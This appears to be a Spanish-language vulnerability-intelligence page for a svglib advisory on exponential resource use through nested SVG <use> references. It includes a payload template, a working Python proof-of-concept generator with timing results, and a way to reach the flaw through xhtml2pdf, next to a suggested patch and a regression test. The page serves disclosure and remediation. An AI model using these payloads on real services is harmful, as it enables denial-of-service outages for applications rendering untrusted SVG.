llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · svglib

GHSA-555J-QJ3J-C8JV

svglib: consumo exponencial de recursos mediante referencias `<use>` anidadas en svg2rlg

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -29 d de la divulgación
Exposición14 hDesde la divulgación, 20 nov 2026, 6:47 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Ponle fecha: las tareas sin fecha son leyendas.Saqué la lupa: aquí hay algo que investigar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 2.3.1
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
22 oct 26
18 nov 26
20 nov 26
21 nov 26
22 oct 26
30 oct 26
6 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.3.1 svglib · -29 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-555J-QJ3J-C8JV divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Resumen

`svg2rlg()` expande las referencias `<use>` sin ningún límite en el número total de expansiones. Solo se rechazan los ciclos directos (`CircularRefError`). Un grupo que contiene N elementos `<use>` que apuntan a otro grupo de este tipo multiplica el trabajo por N en cada nivel de anidamiento, de modo que un SVG de unos 1,4 KB hace que svglib clone y renderice más de 100 000 nodos, lo que consume decenas de segundos de CPU y cientos de MiB de memoria. Cada nivel adicional agrega unos 245 bytes al documento y multiplica el tiempo por ~10.

Esta es la variante con `<use>` de SVG del ataque "billion laughs" de XML (la misma clase que CVE-2019-20446 de librsvg).

Detalles

`SvgRenderer.renderUse()` en `src/svglib/svglib.py`:

try:
    item = self.xlink_href_target(node, group=group)
except CircularRefError:
    node.parent.etree_element.remove(node.etree_element)
    return group
...
if len(node.getchildren()) == 0:
    # Append a copy of the referenced node as the <use> child (if not
    # already done)
    node.append(copy.deepcopy(item))
self.renderNode(list(node.iter_children())[-1], parent=group)

El nodo referenciado se copia en profundidad bajo el elemento `<use>` y luego se renderiza. Cualquier elemento `<use>` dentro del subárbol copiado vuelve a pasar por `renderUse()`. `xlink_href_target()` lanza `CircularRefError` solo para un ciclo directo, por lo que un DAG de referencias con abanico se expande por completo: se renderizan `fan ** levels` elementos.

Forma del payload (fan = 10, levels = 5):

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10">
  <defs>
    <rect id="l0" width="1" height="1"/>
    <g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g>
    <g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g>
    ...
    <g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g>
  </defs>
  <use xlink:href="#l5"/>
</svg>

Impacto

Denegación de servicio (agotamiento de CPU y memoria) para cualquier aplicación que renderice SVG de una fuente no confiable con svglib: generación de miniaturas o vistas previas, conversión de SVG a PDF, generación de informes. Solo el documento SVG necesita estar controlado por el atacante; no se requiere ninguna opción no predeterminada.

Lo mismo ocurre a través de `xhtml2pdf`, que depende de svglib para renderizar imágenes SVG. Un documento HTML que contiene `<img src="data:image/svg+xml;base64,...">` pasado a `pisa.CreatePDF()` desencadena la expansión. La conversión de HTML a PDF de contenido proporcionado por usuarios es un uso común de xhtml2pdf en aplicaciones web.

Reproducción

PoC local mínimo, no destructivo:

import io, time
from svglib.svglib import svg2rlg

def make(levels, fan=10):
    parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>',
             '<rect id="l0" width="1" height="1"/>']
    for i in range(1, levels + 1):
        parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>')
    parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>')
    return "".join(parts).encode()

for levels in (3, 4, 5):
    data = make(levels)
    t = time.time()
    svg2rlg(io.BytesIO(data))
    print(levels, len(data), f"{time.time() - t:.1f}s")

Resultado en svglib 2.3.0 (commit `5d28646`), Python 3.12, macOS:

| niveles | tamaño SVG | tiempo | RSS máximo |
|---|---|---|---|
| 3 | 919 B | 0,3 s | 42 MiB |
| 4 | 1164 B | 2,9 s | 83 MiB |
| 5 | 1409 B | 34 s | 469 MiB |

svglib 1.5.1 de PyPI se comporta igual (niveles = 4: 2,8 s, 82 MiB).

A través de xhtml2pdf 0.2.23, con el mismo SVG incrustado como `<img>` con URI `data:`:

| niveles | tamaño HTML | tiempo | RSS máximo |
|---|---|---|---|
| 4 | 1626 B | 6,9 s | 133 MiB |
| 5 | 1954 B | 78,7 s | 499 MiB |

Corrección sugerida

Contar las expansiones de `<use>` por documento y dejar de expandir más allá de un límite fijo:

@@ src/svglib/svglib.py
 # A sentinel to identify a situation where a node reference a fragment not yet defined.
 DELAYED = object()
 
+# Upper bound on the number of <use> elements expanded while rendering one document.
+# Nested <use> references multiply (a few hundred bytes can expand to millions of
+# nodes), so rendering stops expanding <use> elements beyond this limit.
+MAX_USE_EXPANSIONS = 10_000
+
@@ class SvgRenderer:
         self._external_svgs: dict[str, ExternalSVG] = {}
+        self._use_expansions = 0
         self.attrConverter.css_rules = CSSMatcher()
@@ def renderUse(
         if group is None:
             group = Group()
 
+        self._use_expansions += 1
+        if self._use_expansions > MAX_USE_EXPANSIONS:
+            if self._use_expansions == MAX_USE_EXPANSIONS + 1:
+                logger.error(
+                    "Too many <use> expansions (limit is %d), skipping the rest",
+                    MAX_USE_EXPANSIONS,
+                )
+            return group
+
         try:
             item = self.xlink_href_target(node, group=group)

Con la corrección, un payload de 6 niveles (1654 B, un millón de expansiones sin el límite) se renderiza en 1,1 s con 64 MiB de RSS máximo. El valor del límite es una sugerencia; 10 000 elementos `<use>` están muy por encima de lo que necesitan los documentos normales (sprites de iconos, bibliotecas de símbolos).

Prueba de regresión

Una prueba de regresión `TestUseNode::test_use_nested_expansion_is_bounded` en `tests/test_basic.py` renderiza el payload de 5 niveles y comprueba que termina en menos de 10 segundos.

  • Sin la corrección: la prueba falla (30,9 s).
  • Con la corrección: la prueba pasa (1,8 s).

`python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q` → 190 passed, 4 skipped. Sin regresiones.

Puedo compartir el parche completo (incluida la prueba), por ejemplo como PR en una bifurcación privada temporal de este aviso.

Versiones afectadas

`<= 2.3.0` (verificado en 2.3.0 y 1.5.1)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
svglib< 2.3.1
2.3.1
2.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypisvglib
Corregida 2.3.1 -29 d 2.4.0 no afectada
Versiones corregidas2.3.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-132275
Otrahttps://github.com/deeplook/svglib/security/advisories/GHSA-555j-qj3j-c8jv
Otrahttps://github.com/deeplook/svglib/commit/7380d3c3836940fd75f8e203fff80077b7d5a425
Otrahttps://github.com/deeplook/svglib
Otrahttps://github.com/deeplook/svglib/releases/tag/v2.3.1

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.